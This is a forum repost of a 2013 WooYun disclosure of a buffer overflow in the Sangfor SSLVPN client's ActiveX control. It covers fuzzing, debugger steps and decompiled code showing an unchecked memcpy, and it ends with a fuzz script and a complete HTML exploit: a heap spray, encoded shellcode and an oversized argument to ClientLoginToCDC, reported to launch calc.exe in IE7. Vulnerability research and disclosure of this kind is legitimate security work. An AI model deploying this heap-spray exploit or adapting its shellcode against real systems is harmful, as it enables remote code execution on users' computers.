中神通公司技术论坛 - Powered by Discuz! Board

标题: 深信服SSLVPN客户端 Activex控件BOF漏洞 [打印本页]

作者: linda 时间: 2014-12-29 16:47 标题: 深信服SSLVPN客户端 Activex控件BOF漏洞

漏洞概要
缺陷编号： WooYun-2013-44352
漏洞标题：深信服Activex控件BOF漏洞

相关厂商：       深信服
漏洞作者：       摸了你
提交时间：       2013-11-28 22:37
公开时间：       2014-02-26 22:38
漏洞类型：       远程代码执行
危害等级：       高
自评Rank：       10
漏洞状态：       厂商已经确认
漏洞来源：       http://www.wooyun.org
Tags标签：    缓冲区溢出

漏洞详情披露状态：
2013-11-28：       细节已通知厂商并且等待厂商处理中
2013-11-29：       厂商已经确认，细节仅向厂商公开
2013-12-02：       细节向第三方安全合作伙伴开放
2013-12-09：       细节向核心白帽子及相关领域专家公开
2013-12-19：       细节向普通白帽子公开
2014-01-08：       细节向实习白帽子公开
2014-02-26：       细节向公众公开

简要描述：BOF一枚，提交这个是想告诉，白帽子同学，如果知其所有然，就不会有相同的漏洞被其它人发现了(ActiveX 漏洞挖掘&分析教程）！
详细说明：说明：

起因是这样的，在分析 WooYun: 深信服Activex控件bufferoverflow漏洞这个漏洞的时候，发现其实还有处可导致BOF，只不过参数不一样，漏洞产生的位置也相近，

下面来过程。

1、Fuzz

前面洞主用的Fuzz工具是Dranzer，我用的是COMRadier。

没能找到其它地方下载该ActiveX，只能按想要减肥的胖子提供的链接下载程序并安装。

使用ComRadier的方法，很简单！搜一下便知。

Fuzz后，此处我们只关心Fuzz后Result列为Cause Exception的相关行，选中该行后，下面列表里会显示产生异常的Address,异常原因，这里我们只看，异常地址为41414141的，因为41414141意味着eip被覆盖成41414141。

2、分析异常原因

右击选中的行弹出菜单，选中Lauch in Olly，此外我设置的Immunity Debug（此外同样适用于OD）,它会加载Fuzz的测试文件。

Alt+E打开Immunity Debug模块,找到OLEAUT32.dll

双击该模块，进去后按Ctrl+n键，找到DispCallFunc函数，按F2下断

F9直接跑，程序断在DispCallFunc,此时，托动鼠标向下找，找到Call Ecx 指令，按F4，执行到此处

然后 F7 单步步入

然后按F8 一直走，走到每一个 Call的时候要注意记下，找到异常Call,要重复执行以上步骤。

直到我们找到产生异常的Call

此处我们便可以分析，汇编了，汇编可以发现

REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 这条指令把执行了拷贝数据到堆栈的操作。

3、IDA

汇编太难懂，能不能更直观点呢，IDA上场了。

我们找到这个异常发生的函数的地址此处是020099A0,看下该模块在Immunity 里的地址是02001000，那么可得offset为89A0，那么我们用IDA打开ActiveX对应的dll,用IDA的起始地址10001000+89A0,得到函数的偏移，按住g，到达100099A0处

按下F5

得到如下从汇编到C的代码

code 区域int __cdecl sub_100099A0(const char *ArgList, int a2, struct in_addr in, __int16 a4, const char *a5, int a6, int a7)
{
  unsigned int v7; // edx@3
  unsigned int v8; // kr10_4@3
  const char *v9; // edi@3
  signed int v10; // ecx@3
  bool v11; // zf@5
  signed int v12; // eax@6
  unsigned int v13; // ecx@6
  int v14; // eax@6
  int result; // eax@8
  int v16; // [sp+Ch] [bp-808h]@3
  int v17; // [sp+10h] [bp-804h]@3
  unsigned int optval; // [sp+14h] [bp-800h]@3
  int v19; // [sp+18h] [bp-7FCh]@6
  int v20; // [sp+1Ch] [bp-7F8h]@3
  int v21; // [sp+20h] [bp-7F4h]@3
  struct in_addr v22; // [sp+24h] [bp-7F0h]@3
  __int16 v23; // [sp+28h] [bp-7ECh]@3
  int v24; // [sp+2Ch] [bp-7E8h]@3
  int v25; // [sp+30h] [bp-7E4h]@6
  const char v26; // [sp+34h] [bp-7E0h]@6
  __int16 v27; // [sp+411h] [bp-403h]@3
  char v28; // [sp+413h] [bp-401h]@3
  _BYTE v29[1024]; // [sp+414h] [bp-400h]@6

  inet_ntoa(in);
  sub_10017CE0(
"[CSCM CDC] 客户端登录 userName = %s，auth_method = %d，svpnIp = %s，svpnPort = %d，secret = %s，grpId = %d，granularity = %d。",
(char)ArgList);
  if ( !ArgList || !a5 )
goto LABEL_12;
  memset((char *)&optval + 1, 0, 0x3FCu);
  v27 = 0;
  v28 = 0;
  v24 = a7;
  v7 = strlen(ArgList);
  v8 = strlen(a5) + 1;
  v9 = a5;
  v17 = 1024;
  v16 = v7 + v8 - 1 + 38;
  optval = v7 + v8 - 1 + 38;
  v21 = a6;
  v20 = a2;
  v23 = a4;
  v22 = in;
  v10 = -1;
  do
  {
if ( !v10 )
   break;
v11 = *v9++ == 0;
--v10;
  }
  while ( !v11 );
  v19 = 0;
  v12 = ~v10;
  v29[0] = 0;
  v25 = ~v10;
  memcpy((void *)&v26, a5, ~v10);
  v13 = strlen(ArgList) + 1;
  *(unsigned int *)((char *)&optval + v12 + 32) = v13;
  memcpy((char *)&v19 + v12 + 32, ArgList, v13);
  memset(&v29[1], 0, 0x3FCu);
  *(_WORD *)&v29[1021] = 0;
  v29[1023] = 0;
  v14 = sub_10009730((unsigned int)&optval, (int)&v16, (int)v29, (int)&v17);
  if ( v14 != 2 && v14 != 3 )
result = v14 != 1;
  else
LABEL_12:
result = 0;
  return result;
}

分析代码可知，原因是由于之前的漏洞是因为此处

memcpy((char *)&v19 + v12 + 32, ArgList, v13);

导致，此处v19为局部变量，v12为第5个参数的长度，v13为函数第一个参数的长度，

这里将此参数的第一个参数的值拷贝到局部变量，而没有限制，校验长度，导致BOF。

那么我们细看，该函数还有一个参数是字符串，还有一个memcpy的调用

memcpy((void *)&v26, a5, ~v10);

这里是将函数的第5个参数拷贝到v26的地址，长度为a5的长度，同样会导致BOF。

往下拉我们的ComRaider，它也Fuzz出来了。

code 区域<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:250587D2-6704-4479-8718-3C7E163B4213' id='target' />
<script language='vbscript'>

'File Generated by COMRaider v0.0.134 - http://labs.idefense.com

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\Sinfor\SSL\ClientComponent\CSClientManagerPrj.dll"
prototype  = "Sub ClientLoginToCDC ( ByVal userName As String ,  ByVal auth_method As Long ,  ByVal svpnIp As String ,  ByVal svpnPort As Integer ,  ByVal secret As String ,  ByVal grpId As Long ,  ByVal granularity As Long )"
memberName = "ClientLoginToCDC"
progid    = "CSCLIENTMANAGERPRJLib.CSClientManager"
argCount = 7

arg1="defaultV"
arg2=1
arg3="defaultV"
arg4=1
arg5=String(6164, "A")
arg6=1
arg7=1

target.ClientLoginToCDC arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7

</script></job></package>

之前的BOF，通过Heay Spray可成功弹出计算器。此处同理，我们只需要把之前漏洞作者的POC中

target.ClientLoginToCDC(buffer,1,"defaultv",1,"defaultv",1,1);

target.ClientLoginToCDC("defaultv",1,"defaultv",1,buffer,1,1);

就行。

4、本想在zone发分析的，想想，这里有个隐藏的之前没有提，怕厂商像tx那样只修改一个参数，导致白帽子多次提交同一处的不同参数导致的漏洞，这里我就提交下。

漏洞证明：
code 区域<html>
<body>
<object classid='clsid:250587D2-6704-4479-8718-3C7E163B4213' id="target"></object>
<script>
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++)
memory[counter]= block + shellcode;
buffer='';
for( counter=0; counter<=1100; counter++)
buffer+=unescape("%0D%0D%0D%0D");
target.ClientLoginToCDC("defaultv",1,"defaultv",1,buffer,1,1);
</script>
</body>
</html>

IE7下测试，成功弹出Calc.exe

修复方案：慎用memcpy
版权声明：转载请注明来源摸了你@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2013-11-29 14:31
厂商回复：现有补丁包中的已修复漏洞，依然谢谢
最新状态：暂无

原文：http://www.wooyun.org/bugs/wooyun-2013-044352

[ 本帖最后由 linda 于 2016-2-4 16:07 编辑 ]

欢迎光临中神通公司技术论坛 (http://trustcomputing.com.cn/bbs/)